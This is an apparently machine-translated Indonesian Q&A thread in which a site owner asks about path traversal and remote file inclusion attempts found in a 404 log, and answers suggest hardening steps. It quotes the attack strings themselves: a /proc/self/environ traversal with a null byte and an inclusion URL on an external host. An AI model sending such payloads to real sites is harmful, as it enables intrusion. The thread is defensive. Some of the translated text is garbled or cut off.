Melihat melalui 404 log saya, saya perhatikan dua URL berikut, yang keduanya terjadi sekali:
/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ
dan
/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00
Halaman yang dimaksud,, library.php
membutuhkan type
variabel dengan setengah lusin nilai yang dapat diterima berbeda, dan kemudian id
variabel. Jadi mungkin URL yang valid
library.php?type=Circle-K&id=Strange-Things-Are-Afoot
dan id semua dijalankan mysql_real_escape_string
sebelum digunakan untuk query database.
Saya pemula, tetapi menurut saya kedua tautan ini adalah serangan sederhana terhadap webroot?
1) Bagaimana cara terbaik untuk melindungi hal-hal semacam ini selain 404?
2) Haruskah saya mengizinkan IP yang bertanggung jawab?
EDIT: juga baru saja memperhatikan yang satu ini
/library.php=http://www.basfalt.no/scripts/danger.txt
EDIT 2: IP yang menyinggung untuk semua 3 serangan adalah 216.97.231.15
yang melacak ke ISP disebut Lunar Pages yang terletak di luar Los Angeles.
EDIT 3: Saya telah memutuskan untuk menelepon ISP Jumat pagi waktu setempat dan mendiskusikan masalah ini dengan siapa pun yang dapat saya telepon. Saya akan memposting hasilnya di sini dalam 24 jam atau lebih.
EDIT 4: Saya akhirnya mengirim email ke admin mereka dan mereka menjawab pertama bahwa "mereka sedang mencari ke dalamnya" dan kemudian sehari kemudian dengan "masalah ini harus diselesaikan sekarang." Sayangnya, tidak ada perincian lebih lanjut.
type
memberitahu script yang meliputi penggunaan (meskipun melaluiIF $_GET['type'] == 'thing') {} ESLE...
, bukan sebagai link langsung sepertiinclude 'type.php'
) danid
dijalankan melalui mysql_real_escape_string dan yang digunakan untuk query. Mengetahui hal itu, apakah saya masih aman?Jawaban:
0) Ya. Paling tidak, ini merupakan penyelidikan sistematis terhadap situs Anda yang mencoba mencari tahu apakah itu rentan.
1) Selain memastikan bahwa kode Anda bersih, tidak banyak yang dapat Anda lakukan selain menjalankan tes Anda sendiri terhadap host Anda untuk memastikan itu aman. Google Skipfish adalah salah satu dari banyak alat untuk membantu Anda di sana.
2) saya akan.
sumber
0)
notasi: bagus !! Saya tidak pernah memikirkan itu.-1)
atau0.5)
atauπ)
atau2 + 3i)
notasi baik. : PIni adalah serangan, sangat banyak dijelaskan di sini .
sumber
Seperti yang dikatakan oleh orang lain: ya, ini adalah upaya hack. Perlu diketahui bahwa selain upaya buatan tangan ini ada banyak dan banyak yang otomatis dijalankan oleh botnet. Umumnya serangan semacam itu berusaha menyelinap melalui kerentanan lama dan / atau beberapa kelemahan pengkodean yang khas, seperti kegagalan untuk memvalidasi input pengguna yang mengarah ke injeksi SQL, kebocoran sistem atau file, atau serupa.
Pelarangan botnet itu dengan tangan kemungkinan besar tidak mungkin, karena botnet dapat menggunakan hingga ribuan alamat IP unik, jadi jika Anda ingin melarangnya, Anda harus menggunakan semacam program larangan otomatis. fail2ban datang ke pikiran saya; buatlah untuk bereaksi terhadap peristiwa mod_security atau beberapa entri log lainnya.
Jika kode Anda bersih dan server mengeras, upaya peretasan tersebut hanya mengganggu polusi log. Tetapi lebih baik untuk mengambil langkah pencegahan dan mempertimbangkan beberapa atau semua hal berikut, tergantung pada kebutuhan Anda:
mod_security adalah modul Apache yang menyaring semua jenis upaya peretasan yang khas. Itu juga dapat membatasi lalu lintas keluar (halaman server Anda akan mengirim ke klien) jika melihat JavaScript yang mencurigakan dll.
Suhosin untuk pengerasan PHP itu sendiri.
Jalankan skrip PHP Anda sebagai pengguna yang memiliki skrip; hal-hal seperti suphp dan php-fpm memungkinkan.
Pasang direktori sementara webroot dan PHP Anda sebagai noexec, nosuid, nodev .
Nonaktifkan fungsi PHP yang tidak dibutuhkan, seperti sistem dan passthru .
Nonaktifkan modul PHP yang tidak dibutuhkan. Misalnya, jika Anda tidak memerlukan dukungan IMAP, jangan aktifkan.
Selalu perbarui server Anda.
Awasi log Anda.
Pastikan Anda memiliki cadangan.
Rencanakan apa yang harus dilakukan jika seseorang meretas Anda atau bencana lain menghantam Anda.
Itu awal yang bagus. Lalu bahkan ada langkah-langkah yang lebih ekstrem seperti Snort dan Prelude , tetapi mereka bisa sangat berlebihan untuk sebagian besar pengaturan.
sumber
Sangat mungkin bahwa mesin yang membuat pertanyaan itu adalah zombie botnet. Jika Anda mendapatkan permintaan tersebut dari beberapa IP, mungkin tidak layak untuk melarangnya, karena Anda harus melarang separuh internet agar efektif.
sumber
Seperti yang sudah dikatakan - ini merupakan upaya untuk mengakses file / proc / self / environment untuk mendapatkan informasi lebih lanjut.
Saya menganggap itu mesin linux:
Kamu harus menggunakan
Anda dapat memblokir ip dari server yang menyerang, tetapi Anda harus mempertimbangkan bahwa itu bisa tidak menyerang dalam fitur.
Saya biasa memblokir beberapa layanan ketika server saya sedang diserang: http / https / pop / imap / ssh tetapi biarkan smtp terbuka, bahwa Anda dapat diberi tahu jika Anda membuat kesalahan.
sumber
Ya itu upaya intrusi. Anda harus melarang IP. Jika Anda menentukan bahwa IP di luar negara, Anda mungkin hanya ingin melarang seluruh subnet miliknya. Ini bukan masalah kode daripada masalah server. Lihatlah intrusi khusus ini dan pastikan penyedia hosting Anda tidak rentan terhadapnya atau upaya kiddie skrip serupa (yang terlihat seperti ini).
sumber
Ini adalah upaya untuk mengeksploitasi potensi kerentanan inklusi file lokal sewenang-wenang dalam skrip sisi server yang dapat diakses melalui server web Anda. Pada sistem linux yang rentan
/proc/self/environ
dapat disalahgunakan untuk mengeksekusi kode sisi server sewenang-wenang.sumber
Seperti yang direkomendasikan oleh Janne Pikkarainen:
Sebagai bagian dari log ini, penting untuk memantau perubahan file Anda, termasuk situs web Anda, sebagai bagian dari sistem deteksi intrusi. Contohnya adalah OpenBSD yang melakukan ini secara default untuk file konfigurasi. Saya membawa ini karena:
sumber